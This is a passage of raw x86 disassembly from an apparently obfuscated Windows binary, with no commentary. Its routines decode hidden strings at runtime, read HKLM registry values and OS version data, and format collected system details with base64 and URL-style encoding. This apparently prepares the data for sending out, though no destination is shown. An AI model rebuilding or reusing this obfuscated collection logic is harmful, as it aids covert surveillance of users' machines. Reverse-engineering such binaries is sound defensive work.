eax call sub_443A0A mov ds:dword_4CB93C, eax push offset byte_54FBA5 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_50C930, eax push offset asc_54FB97 ; "\n" call sub_43AAF7 push eax call sub_443A0A mov ds:dword_54C958, eax push offset byte_54FB85 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_449090, eax push offset asc_54FB79 ; "\b" call sub_43AAF7 push eax call sub_443A0A mov ds:dword_4899FC, eax push offset asc_54FB6D ; "\b" call sub_43AAF7 push eax call sub_443A0A mov ds:dword_4CC8F4, eax push offset byte_54FB59 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_54CB00, eax push offset byte_54FB49 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_446018, eax push offset byte_54FB37 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_4495AC, eax push offset word_54FB26 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_447FD0, eax push offset dword_54FB14 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_54DF38, eax push offset byte_54FB01 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_4CC8F8, eax push offset dword_54FAF0 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_54C950, eax push offset byte_54FAE3 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_446004, eax push offset dword_54FAD4 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_4CA548, eax push offset dword_54FAC0 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_447018, eax push (offset asc_54FAB0+2) call sub_43AAF7 push eax call sub_443A0A mov ds:dword_447000, eax push offset dword_54FA9C call sub_43AAF7 push eax call sub_443A0A mov ds:dword_447010, eax push offset word_54FA8A call sub_43AAF7 push eax call sub_443A0A mov ds:dword_54C954, eax push offset byte_54FA79 call sub_43AAF7 push eax call sub_443A0A mov ds:dword_48A1E8, eax push offset word_54FA6A call sub_43AAF7 push eax call sub_443A0A add esp, 0C0h mov ds:dword_50C938, eax pop edi retn sub_4408C5 endp ; =============== S U B R O U T I N E ======================================= sub_440B06 proc near ; CODE XREF: sub_444ED7+302p push 2 call sub_441DB2 push 0 call sub_441DB2 add esp, 8 retn sub_440B06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440B18 proc near ; CODE XREF: sub_43F81A+79p ; sub_43F81A+197p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push edi lea eax, [ebp+var_4] push eax push 20019h movsx eax, word_54F0CC dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call ds:dword_44959C mov edi, eax or edi, edi jz short loc_440B45 xor eax, eax jmp short loc_440B7F ; --------------------------------------------------------------------------- loc_440B45: ; CODE XREF: sub_440B18+27j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] mov eax, dword_54F0E4 add eax, dword_54F1B0 sub eax, 0Ch push eax push [ebp+arg_8] push [ebp+var_4] call ds:dword_44604C mov edi, eax push [ebp+var_4] call ds:dword_4CC904 or edi, edi jz short loc_440B7C xor eax, eax jmp short loc_440B7F ; --------------------------------------------------------------------------- loc_440B7C: ; CODE XREF: sub_440B18+5Ej xor eax, eax inc eax loc_440B7F: ; CODE XREF: sub_440B18+2Bj ; sub_440B18+62j pop edi leave retn sub_440B18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440B82 proc near ; CODE XREF: sub_43C284+CAp ; sub_44050C+1B5p ... var_2F038 = dword ptr -2F038h var_2F033 = byte ptr -2F033h var_F034 = dword ptr -0F034h var_F030 = dword ptr -0F030h var_F02B = byte ptr -0F02Bh var_F02A = dword ptr -0F02Ah var_F022 = byte ptr -0F022h var_EF23 = byte ptr -0EF23h var_EE24 = byte ptr -0EE24h arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp mov eax, 2F038h call sub_4455B4 push ebx push esi push edi movsx edi, word_54F164 imul edi, 3C0h movsx esi, word_54F0C4 add esi, 0EA5Ah lea edi, [edi+esi+3C0h] shl edi, 1 mov [ebp+var_2F038], edi push edi call sub_445539 add esp, 4 mov [ebp+var_F02A], eax movzx eax, [ebp+arg_0] movsx edx, word_54F1CC add edx, dword_54F1EC sub edx, 0Bh cmp eax, edx jnz short loc_440C05 push offset asc_54FA5F ; "\a" call sub_43AAF7 add esp, 4 push eax lea edi, [ebp+var_EE24] push edi call ds:dword_50C928 add esp, 8 jmp loc_440DD8 ; --------------------------------------------------------------------------- loc_440C05: ; CODE XREF: sub_440B82+5Ej call ds:dword_48A1F0 mov ebx, eax mov [ebp+var_F02B], bl push offset byte_54FA3D call sub_43AAF7 add esp, 4 push eax lea edi, [ebp+var_EF23] push edi call ds:dword_4491A4 add esp, 8 movzx eax, [ebp+arg_0] movsx edx, word_54F148 add edx, dword_54F16C sub edx, 4 cmp eax, edx jnz short loc_440CA6 movsx eax, word_54F194 mov edx, dword_54F0C0 lea eax, [eax+edx+4] and eax, 0FFh push eax lea eax, [ebp+var_F022] push eax push [ebp+arg_8] call sub_441795 add esp, 0Ch push offset byte_54FA29 call sub_43AAF7 add esp, 4 movzx edi, [ebp+var_F02B] push edi lea edi, [ebp+var_F022] push edi lea edi, [ebp+var_EF23] push edi push eax lea edi, [ebp+var_EE24] push edi call ds:dword_50C928 add esp, 14h loc_440CA6: ; CODE XREF: sub_440B82+C5j movzx eax, [ebp+arg_0] movsx edx, word_54F0B4 add edx, dword_54F124 sub edx, 7 cmp eax, edx jnz loc_440DD8 movsx eax, word_54F1A4 movsx edx, word_54F0F8 add eax, edx sub eax, 0Bh and eax, 0FFh push eax lea eax, [ebp+var_F022] push eax push dword_54F2C4 call sub_441795 add esp, 0Ch push offset word_54F9E2 call sub_43AAF7 add esp, 4 mov edi, [ebp+arg_18] mov esi, [ebp+arg_8] mov ebx, edi add ebx, esi push ebx movsx ebx, word_54F148 mov edx, dword_54F134 lea ebx, [ebx+edx+3] push ebx push [ebp+arg_1C] push edi push [ebp+arg_14] movzx edi, [ebp+var_F02B] push edi mov edi, esi sub edi, [ebp+arg_C] movsx esi, word_54F13C add esi, dword_54F1B8 sub esi, 9 sub edi, esi push edi push offset dword_48A200 push [ebp+arg_10] push [ebp+arg_20] lea edi, [ebp+var_F022] push edi lea edi, [ebp+var_EF23] push edi push eax lea edi, [ebp+var_EE24] push edi call ds:dword_50C928 add esp, 38h mov eax, dword_54F224 cmp [ebp+arg_10], eax jnz short loc_440DD8 dec eax cmp [ebp+arg_18], eax jnz short loc_440DD8 push offset word_54F9BE call sub_43AAF7 add esp, 4 push offset byte_54CB10 movsx edi, word_54F104 mov esi, dword_54F114 lea edi, [edi+esi+5] push edi push [ebp+arg_20] lea edi, [ebp+var_F022] push edi lea edi, [ebp+var_EF23] push edi push eax lea edi, [ebp+var_2F033] push edi call ds:dword_50C928 add esp, 1Ch lea eax, [ebp+var_2F033] push eax lea eax, [ebp+var_EE24] push eax call ds:dword_44602C add esp, 8 loc_440DD8: ; CODE XREF: sub_440B82+7Ej ; sub_440B82+13Aj ... push [ebp+var_2F038] push [ebp+var_F02A] movsx eax, word_54F1CC add eax, dword_54F0E4 sub eax, 0Dh neg eax push eax lea eax, [ebp+var_EE24] push eax movsx eax, word_54F244 sub eax, 7 push eax push 0 call ds:dword_50C934 push offset asc_54F9A4 ; "\t" call sub_43DEC5 add esp, 4 push eax call ds:dword_44700C mov [ebp+var_F030], eax push [ebp+var_F02A] call ds:dword_44700C mov [ebp+var_F034], eax push eax push [ebp+var_F030] mov eax, [ebp+arg_4] push eax mov ebx, [eax] call dword ptr [ebx+104h] push [ebp+var_F030] call ds:dword_54DF34 push [ebp+var_F034] call ds:dword_54DF34 lea esp, [ebp-2F044h] pop edi pop esi pop ebx leave retn sub_440B82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440E73 proc near ; CODE XREF: sub_43D41A+B4p var_7 = byte ptr -7 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push eax push ebx push esi push edi mov ebx, [ebp+arg_4] mov esi, [ebp+arg_8] mov eax, ebx add eax, 2 mov ecx, 3 mov edx, 0AAAAAAABh mul edx shr edx, 1 mov [ebp+var_4], edx mov edi, edx shl edi, 2 mov edx, [ebp+arg_C] dec edx cmp edi, edx jbe short loc_440EAB xor eax, eax jmp loc_440FAB ; --------------------------------------------------------------------------- loc_440EAB: ; CODE XREF: sub_440E73+2Fj push offset a@ ; "@" call sub_43AAF7 pop ecx push eax push offset byte_54DF40 call sub_4455D4 jmp short loc_440EF8 ; --------------------------------------------------------------------------- loc_440EC3: ; CODE XREF: sub_440E73+98j push esi push [ebp+arg_0] call sub_43D98E add esp, 8 mov eax, dword_54F0C0 inc eax sub ebx, eax movsx eax, word_54F1F0 sub eax, 3 add eax, [ebp+arg_0] mov [ebp+arg_0], eax mov eax, dword_54F1B8 add eax, dword_54F1D4 sub eax, 8 lea esi, [esi+eax] loc_440EF8: ; CODE XREF: sub_440E73+4Ej mov eax, dword_54F0B0 movsx edx, word_54F210 add eax, edx sub eax, 7 cmp ebx, eax jnb short loc_440EC3 mov eax, dword_54F1AC sub eax, 2 cmp ebx, eax jbe short loc_440F91 push 3 mov eax, dword_54F1B4 sub eax, 4 push eax lea eax, [ebp+var_7] push eax call ds:dword_4CB934 push ebx push [ebp+arg_0] lea eax, [ebp+var_7] push eax call ds:dword_4CB814 push esi lea eax, [ebp+var_7] push eax call sub_43D98E add esp, 20h movsx eax, word_54F164 movsx edx, word_54F09C add eax, edx sub eax, 6 cmp ebx, eax jnz short loc_440F74 movsx eax, word_54F0F8 add eax, dword_54F124 sub eax, 5 mov byte ptr [esi+eax], 3Dh loc_440F74: ; CODE XREF: sub_440E73+EBj mov eax, dword_54F1BC add eax, dword_54F0C0 sub eax, 5 mov byte ptr [esi+eax], 3Dh movsx eax, word_54F148 lea esi, [eax+esi+3] loc_440F91: ; CODE XREF: sub_440E73+A4j movsx eax, word_54F240 sub eax, 8 movsx edx, word_54F210 sub edx, 5 mov [esi+eax], dl xor eax, eax inc eax loc_440FAB: ; CODE XREF: sub_440E73+33j pop edi pop esi pop ebx leave retn sub_440E73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440FB0 proc near ; CODE XREF: sub_444ED7+3Ep var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_1FE = byte ptr -1FEh var_10F = byte ptr -10Fh var_FF = byte ptr -0FFh push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi call sub_44122A or eax, eax jz loc_441202 mov [ebp+var_204], 0FFh lea eax, [ebp+var_204] push eax lea eax, [ebp+var_FF] push eax call ds:dword_4495A0 mov eax, dword_54F108 add eax, dword_54F234 movsx eax, [ebp+eax+var_10F] mov edx, dword_54F19C sub edx, 4 cmp eax, edx jnz short loc_44100F xor eax, eax inc eax jmp loc_441202 ; --------------------------------------------------------------------------- loc_44100F: ; CODE XREF: sub_440FB0+55j push offset byte_54F951 call sub_43AAF7 movsx edx, word_54F138 sub edx, 2 push edx push eax lea edx, [ebp+var_FF] push edx call sub_43DE22 add esp, 10h mov edx, eax movsx ecx, word_54F0C4 mov eax, dword_54F12C lea ecx, [ecx+eax+0FFF1h] cmp edx, ecx jz short loc_441055 xor eax, eax inc eax jmp loc_441202 ; --------------------------------------------------------------------------- loc_441055: ; CODE XREF: sub_440FB0+9Bj push offset byte_54F947 call sub_43AAF7 mov edx, dword_54F228 sub edx, 7 push edx push eax lea edx, [ebp+var_FF] push edx call sub_43DE22 add esp, 10h mov ecx, dword_54F1F4 add ecx, 0FFF2h add ecx, dword_54F170 cmp eax, ecx jz short loc_441097 xor eax, eax inc eax jmp loc_441202 ; --------------------------------------------------------------------------- loc_441097: ; CODE XREF: sub_440FB0+DDj mov [ebp+var_208], 0FFh lea eax, [ebp+var_208] push eax lea eax, [ebp+var_1FE] push eax call ds:dword_446040 push offset word_54F942 call sub_43AAF7 push eax lea edx, [ebp+var_1FE] push edx call ds:dword_44602C mov eax, dword_54F19C sub eax, 3 push eax lea eax, [ebp+var_FF] push eax lea eax, [ebp+var_1FE] push eax call sub_43DE22 add esp, 18h mov edx, dword_54F15C add edx, 0FFFBh cmp eax, edx jz short loc_441104 xor eax, eax inc eax jmp loc_441202 ; --------------------------------------------------------------------------- loc_441104: ; CODE XREF: sub_440FB0+14Aj call ds:dword_4CC918 mov esi, eax xor ebx, ebx mov edi, esi loc_441110: ; CODE XREF: sub_440FB0+23Bj movsx eax, word_54F0B4 add eax, dword_54F090 sub eax, 9 movzx eax, byte ptr [edi+eax] movsx edx, word_54F1C4 movsx ecx, word_54F164 add edx, ecx sub edx, 9 cmp eax, edx jz loc_4411F0 mov ecx, edi or eax, 0FFFFFFFFh loc_441144: ; CODE XREF: sub_440FB0+199j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_441144 mov [ebp+var_20C], eax push offset dword_54F938 call sub_43AAF7 add esp, 4 mov edx, dword_54F0DC add edx, dword_54F12C sub edx, 0Bh push edx push eax push edi call sub_43DE22 add esp, 0Ch mov ecx, dword_54F200 add ecx, 0FFFAh cmp eax, ecx jz short loc_44118F mov ebx, 1 jmp short loc_4411F0 ; --------------------------------------------------------------------------- loc_44118F: ; CODE XREF: sub_440FB0+1D6j push offset asc_54F927 ; "\r" call sub_43AAF7 movsx edx, word_54F104 inc edx push edx push eax push edi call sub_43DE22 add esp, 10h mov edx, eax mov ecx, dword_54F0B0 add ecx, 0FFF3h movsx eax, word_54F1E8 add ecx, eax cmp edx, ecx jz short loc_4411CC xor ebx, ebx inc ebx jmp short loc_4411F0 ; --------------------------------------------------------------------------- loc_4411CC: ; CODE XREF: sub_440FB0+215j movsx eax, word_54F208 movsx edx, word_54F240 add eax, edx sub eax, 8 mov edx, [ebp+var_20C] add edx, edi mov edi, eax add edi, edx jmp loc_441110 ; --------------------------------------------------------------------------- loc_4411F0: ; CODE XREF: sub_440FB0+189j ; sub_440FB0+1DDj ... push esi call ds:dword_4CB944 or ebx, ebx jz short loc_441200 xor eax, eax inc eax jmp short loc_441202 ; --------------------------------------------------------------------------- loc_441200: ; CODE XREF: sub_440FB0+249j xor eax, eax loc_441202: ; CODE XREF: sub_440FB0+13j ; sub_440FB0+5Aj ... pop edi pop esi pop ebx leave retn sub_440FB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441207 proc near ; DATA XREF: sub_43BE1F+Bo arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp pusha mov esi, [ebp+arg_8] mov eax, offset sub_43C266 mov [esi+0B8h], eax mov eax, [ebp+arg_4] mov [esi+0C4h], eax popa mov esp, ebp pop ebp xor eax, eax retn sub_441207 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44122A proc near ; CODE XREF: sub_43DA48+9p ; sub_43ECD2+11p ... var_94 = dword ptr -94h var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h cmp dword_54F284, 0 jz short loc_441241 xor eax, eax inc eax jmp short locret_441270 ; --------------------------------------------------------------------------- loc_441241: ; CODE XREF: sub_44122A+10j mov [ebp+var_94], 94h lea eax, [ebp+var_94] push eax call ds:dword_54DF28 cmp [ebp+var_84], 2 jnz short loc_44126B mov dword_54F284, 1 loc_44126B: ; CODE XREF: sub_44122A+35j mov eax, dword_54F284 locret_441270: ; CODE XREF: sub_44122A+15j leave retn sub_44122A endp ; =============== S U B R O U T I N E ======================================= sub_441272 proc near ; CODE XREF: sub_444ED7+39p push edi push offset asc_54F91A ; "\t" call sub_43AAF7 pop ecx push eax call ds:dword_449598 mov dword_54F260, eax mov eax, dword_54F168 sub eax, 2 cmp dword_54F260, eax jnz short loc_4412B1 push offset asc_54F90D ; "\t" call sub_43AAF7 pop ecx push eax call ds:dword_48A218 mov dword_54F260, eax loc_4412B1: ; CODE XREF: sub_441272+26j push offset word_54F8FE call sub_43AAF7 pop ecx push eax push dword_54F260 call ds:dword_4491AC mov ds:dword_4CA220, eax pop edi retn sub_441272 endp ; =============== S U B R O U T I N E ======================================= sub_4412D0 proc near ; DATA XREF: .data:0054F2DCo mov eax, 80004001h retn 18h sub_4412D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4412D8 proc near ; CODE XREF: sub_441843+139p var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_198 = dword ptr -198h var_193 = dword ptr -193h var_18F = dword ptr -18Fh var_18B = dword ptr -18Bh var_187 = dword ptr -187h var_183 = dword ptr -183h var_FF = byte ptr -0FFh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ACh push ebx push esi push edi mov edi, [ebp+arg_0] mov byte ptr [edi], 0 mov [ebp+var_193], 94h lea eax, [ebp+var_193] push eax call ds:dword_54DF28 cmp [ebp+var_183], 1 jnz short loc_44131F push offset dword_54F8F8 call sub_43AAF7 push eax push edi call ds:dword_44602C add esp, 0Ch loc_44131F: ; CODE XREF: sub_4412D8+30j cmp [ebp+var_183], 2 jnz short loc_44133D push offset word_54F8F2 call sub_43AAF7 push eax push edi call ds:dword_50C928 add esp, 0Ch loc_44133D: ; CODE XREF: sub_4412D8+4Ej push offset word_54F8E6 call sub_43AAF7 push [ebp+var_187] push [ebp+var_18B] push [ebp+var_18F] push eax lea ebx, [ebp+var_FF] push ebx call ds:dword_50C928 lea eax, [ebp+var_FF] push eax push edi call ds:dword_44602C push offset byte_54F8DF call sub_43AAF7 mov ebx, dword_54F108 sub ebx, 8 push ebx movsx ebx, word_54F0FC add ebx, dword_54F0BC sub ebx, 2 push ebx lea ebx, [ebp+var_19C] push ebx lea ebx, [ebp+var_19C] push ebx lea ebx, [ebp+var_1A0] push ebx push 0FFh lea ebx, [ebp+var_FF] push ebx push eax call ds:dword_4CC900 push offset byte_54F8D7 call sub_43AAF7 push [ebp+var_1A0] push eax lea ebx, [ebp+var_FF] push ebx call ds:dword_50C928 lea eax, [ebp+var_FF] push eax push edi call ds:dword_44602C push 0FFh lea eax, [ebp+var_FF] push eax mov eax, dword_54F170 movsx edx, word_54F240 add eax, edx sub eax, 9 push eax push 400h call ds:dword_4495A8 lea eax, [ebp+var_FF] push eax push edi call ds:dword_44602C push offset word_54F8D2 call sub_43AAF7 push eax push edi call ds:dword_44602C mov [ebp+var_198], 0FFh push offset byte_54F8A5 call sub_43AAF7 mov [ebp+var_1A8], eax push offset asc_54F898 ; "\t" call sub_43AAF7 lea ebx, [ebp+var_1A4] push ebx lea ebx, [ebp+var_198] push ebx lea ebx, [ebp+var_FF] push ebx push eax mov ebx, [ebp+var_1A8] push ebx push 80000002h call sub_440B18 add esp, 70h mov esi, eax movsx eax, word_54F198 cmp esi, eax jnz short loc_4414A5 lea eax, [ebp+var_FF] push eax push edi call ds:dword_44602C add esp, 8 jmp short loc_44151D ; --------------------------------------------------------------------------- loc_4414A5: ; CODE XREF: sub_4412D8+1B8j mov [ebp+var_198], 0FFh push offset unk_54F868 call sub_43AAF7 mov [ebp+var_1AC], eax push offset byte_54F85B call sub_43AAF7 lea ebx, [ebp+var_1A4] push ebx lea ebx, [ebp+var_198] push ebx lea ebx, [ebp+var_FF] push ebx push eax mov ebx, [ebp+var_1AC] push ebx push 80000002h call sub_440B18 add esp, 20h mov esi, eax movsx eax, word_54F210 movsx edx, word_54F1A4 add eax, edx sub eax, 0Ah cmp esi, eax jnz short loc_44151D lea eax, [ebp+var_FF] push eax push edi call ds:dword_44602C add esp, 8 loc_44151D: ; CODE XREF: sub_4412D8+1CBj ; sub_4412D8+232j pop edi pop esi pop ebx leave retn sub_4412D8 endp ; =============== S U B R O U T I N E ======================================= sub_441522 proc near ; CODE XREF: sub_441843+F7p push ebx push esi movsx esi, word_54F164 mov ebx, dword_54F0B0 add ebx, 6E0637BAh mov ds:dword_54CAF8[esi*4], ebx mov esi, dword_54F090 add esi, 7 movsx ebx, word_54F104 add esi, ebx movsx ebx, word_54F0C4 movsx edx, word_54F240 lea ebx, [ebx+edx+1E4E8736h] mov ds:dword_54CAC0[esi*4], ebx mov esi, dword_54F0B0 add esi, 2 add esi, dword_54F0EC mov ebx, dword_54F150 add ebx, 3D357C67h mov ds:dword_54CAC0[esi*4], ebx movsx esi, word_54F13C add esi, dword_54F1F4 mov ebx, dword_54F120 add ebx, 869AE873h add ebx, dword_54F1E4 mov ds:dword_54CA80[esi*4], ebx movsx esi, word_54F0F8 add esi, dword_54F238 mov ebx, dword_54F0E0 add ebx, 0BFFD7E26h mov ds:dword_54CAB0[esi*4], ebx mov ecx, dword_54F19C sub ecx, 3 jmp short loc_4415F1 ; --------------------------------------------------------------------------- loc_4415DF: ; CODE XREF: sub_441522+DFj movsx esi, word_54F190 sub esi, 8 mov ds:dword_54CA80[ecx*4], esi inc ecx loc_4415F1: ; CODE XREF: sub_441522+BBj mov eax, dword_54F184 add eax, 8 add eax, dword_54F1D8 cmp ecx, eax jb short loc_4415DF movsx ecx, word_54F0A8 mov esi, dword_54F11C add esi, 323D4731h add esi, dword_54F184 mov ds:dword_54CAF4[ecx*4], esi movsx ecx, word_54F1C4 mov esi, dword_54F0D8 add esi, 505215A3h add esi, dword_54F22C mov ds:dword_54CAB8[ecx*4], esi mov ecx, dword_54F1B0 movsx esi, word_54F118 add esi, 1AB051F1h mov ds:dword_54CACC[ecx*4], esi movsx ecx, word_54F1C4 movsx esi, word_54F138 add ecx, esi mov esi, dword_54F1E4 add esi, 280E85C8h add esi, dword_54F098 mov ds:dword_54CAB8[ecx*4], esi movsx ecx, word_54F128 mov esi, dword_54F1EC add esi, 0E383CCDCh mov ds:dword_54CADC[ecx*4], esi mov ecx, dword_54F224 add ecx, dword_54F160 mov esi, dword_54F248 add esi, 0D76ADDDAh add esi, dword_54F0B8 mov ds:dword_54CAB0[ecx*4], esi mov ecx, dword_54F0A0 movsx esi, word_54F118 mov ebx, dword_54F0A4 lea esi, [esi+ebx+14F80509h] mov ds:dword_54CAEC[ecx*4], esi mov ecx, dword_54F178 mov esi, dword_54F160 add esi, 0CC24407Bh mov ds:dword_54CAA8[ecx*4], esi mov ecx, dword_54F134 add ecx, dword_54F1EC mov esi, ebx add esi, 1B77E1D9h movsx ebx, word_54F0CC add esi, ebx mov ds:dword_54CAC0[ecx*4], esi movsx ecx, word_54F138 mov esi, dword_54F124 add esi, 0Dh add esi, dword_54F168 mov ds:dword_54CA74[ecx*4], esi movsx ecx, word_54F244 movsx esi, word_54F1A4 mov ebx, dword_54F184 lea esi, [esi+ebx-1E081165h] mov ds:dword_54CAA4[ecx*4], esi mov ecx, dword_54F238 add ecx, 6 add ecx, dword_54F0E8 mov esi, dword_54F0D4 add esi, 0D24B644Bh add esi, dword_54F1BC mov ds:dword_54CAC0[ecx*4], esi pop esi pop ebx retn sub_441522 endp ; =============== S U B R O U T I N E ======================================= sub_44178D proc near ; DATA XREF: .data:0054F2F8o mov eax, 80004001h retn 8 sub_44178D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441795 proc near ; CODE XREF: sub_440B82+E8p ; sub_440B82+166p var_7 = byte ptr -7 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push eax push ebx push esi push edi mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov byte ptr [ebx], 0 mov ecx, esi or eax, 0FFFFFFFFh loc_4417AB: ; CODE XREF: sub_441795+1Bj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4417AB mov [ebp+var_4], eax movsx eax, word_54F118 mov edi, eax add edi, dword_54F15C sub edi, 0Ch jmp short loc_441839 ; --------------------------------------------------------------------------- loc_4417C9: ; CODE XREF: sub_441795+A7j movzx eax, [ebp+arg_8] cmp edi, eax jb short loc_4417DC mov al, [esi+edi] cmp al, 2Fh jz short loc_4417DC cmp al, 2Eh jnz short loc_4417FB loc_4417DC: ; CODE XREF: sub_441795+3Aj ; sub_441795+41j push offset byte_54F855 call sub_43AAF7 movzx edx, byte ptr [esi+edi] push edx push eax lea edx, [ebp+var_7] push edx call ds:dword_50C928 add esp, 10h jmp short loc_44182A ; --------------------------------------------------------------------------- loc_4417FB: ; CODE XREF: sub_441795+45j push offset dword_54F850 call sub_43AAF7 push eax push ebx call ds:dword_44602C push offset dword_54F848 call sub_43AAF7 movzx edx, byte ptr [esi+edi] push edx push eax lea edx, [ebp+var_7] push edx call ds:dword_50C928 add esp, 1Ch loc_44182A: ; CODE XREF: sub_441795+64j lea eax, [ebp+var_7] push eax push ebx call ds:dword_44602C add esp, 8 inc edi loc_441839: ; CODE XREF: sub_441795+32j cmp edi, [ebp+var_4] jb short loc_4417C9 pop edi pop esi pop ebx leave retn sub_441795 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441843 proc near ; CODE XREF: sub_444ED7+33Ap var_26C = dword ptr -26Ch var_268 = byte ptr -268h var_267 = byte ptr -267h var_211 = byte ptr -211h var_205 = byte ptr -205h var_203 = byte ptr -203h var_202 = byte ptr -202h var_1FB = byte ptr -1FBh var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 26Ch push edi lea eax, [ebp+var_104] push eax movsx eax, word_54F0FC sub eax, 2 push eax mov eax, dword_54F15C sub eax, 4 push eax push 1Ch mov eax, dword_54F224 add eax, dword_54F24C sub eax, 0Ah push eax call ds:dword_489A00 lea eax, [ebp+var_267] push eax call sub_43CCB6 lea eax, sub_43D41A mov ds:dword_50C91C, eax lea eax, sub_43B535 mov ds:dword_54CA74, eax lea eax, sub_43D41A mov ds:dword_48A1E0, eax lea eax, sub_43BB30 mov ds:dword_48A1F0, eax push offset byte_54F835 call sub_43AAF7 movsx edi, word_54F13C add edi, dword_54F204 sub edi, 5 push edi lea edi, [ebp+var_104] push edi push eax push offset dword_4490A0 call ds:dword_50C928 push offset word_54F826 call sub_43AAF7 mov edi, dword_54F140 add edi, dword_54F0A4 sub edi, 2 push edi lea edi, [ebp+var_267] push edi lea edi, [ebp+var_104] push edi push eax push offset dword_4CA230 call ds:dword_50C928 lea eax, dword_4490A0 mov ds:dword_4CB820, eax lea eax, dword_4CB830 mov ds:dword_447FD4, eax lea eax, sub_43BD8A mov ds:dword_4899E4, eax call sub_441522 mov eax, dword_54F178 inc eax push eax push offset dword_48A200 call sub_43CDF9 push offset word_54F812 call sub_43AAF7 mov edi, dword_54F1F4 sub edi, 3 push edi lea edi, [ebp+var_104] push edi push eax push offset dword_4CB830 call ds:dword_50C928 push offset dword_447FE0 call sub_4412D8 push offset byte_54F7FF call sub_43AAF7 mov edi, dword_54F14C add edi, 4 push edi lea edi, [ebp+var_104] push edi push eax push offset dword_4CA440 call ds:dword_50C928 lea eax, sub_43D41A mov ds:dword_447014, eax lea eax, dword_4CA440 mov ds:dword_44601C, eax lea eax, dword_54C970 mov dword_54F2C4, eax push offset sub_43CDC6 call sub_43CBAF push offset sub_4447F2 call sub_43CBAF push offset sub_44293B call sub_43CBAF movsx eax, word_54F09C add eax, dword_54F1F4 sub eax, 5 mov ds:dword_4495D0, eax mov eax, dword_54F248 add eax, dword_54F1C0 sub eax, 4 push eax lea eax, [ebp+var_203] push eax call sub_441E2E add esp, 78h mov eax, dword_54F16C add eax, dword_54F098 cmp [ebp+eax+var_211], 64h jnz short loc_441A7B movsx eax, [ebp+var_202] mov edx, dword_54F168 add edx, 16h movsx ecx, word_54F1C4 add edx, ecx sub eax, edx mov [ebp+var_268], al movsx eax, word_54F218 mov ds:dword_4495D0, eax movzx eax, [ebp+var_268] push eax mov eax, dword_54F0A4 add eax, dword_54F1C8 sub eax, 0Fh push eax call sub_43D090 add esp, 8 loc_441A7B: ; CODE XREF: sub_441843+1EAj movsx eax, word_54F104 add eax, dword_54F14C cmp [ebp+eax+var_205], 67h jnz short loc_441AD7 mov eax, dword_54F14C mov edx, eax sub edx, 2 mov [ebp+eax+var_1FB], dl lea eax, [ebp+var_202] push eax call ds:dword_44701C mov [ebp+var_26C], eax push eax push offset dword_54C970 call sub_443E8D add esp, 0Ch mov eax, dword_54F0E0 add eax, dword_54F098 sub eax, 0Fh mov ds:dword_4495D0, eax loc_441AD7: ; CODE XREF: sub_441843+24Dj pop edi leave retn sub_441843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441ADA proc near ; CODE XREF: sub_43B3AD+FCp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = word ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi mov ebx, [ebp+arg_0] lea eax, dword_54CA80 mov [ebp+var_48], eax movsx eax, word_54F244 mov edi, eax add edi, dword_54F0B8 sub edi, 0Bh jmp short loc_441B11 ; --------------------------------------------------------------------------- loc_441B03: ; CODE XREF: sub_441ADA+43j mov edx, edi shl edx, 1 mov cx, [ebx+edi*2] mov [ebp+edx+var_40], cx inc edi loc_441B11: ; CODE XREF: sub_441ADA+27j movsx eax, word_54F138 add eax, 1Dh cmp edi, eax jb short loc_441B03 mov eax, dword_54F1BC sub eax, 6 mov [ebp+var_44], eax loc_441B2A: ; CODE XREF: 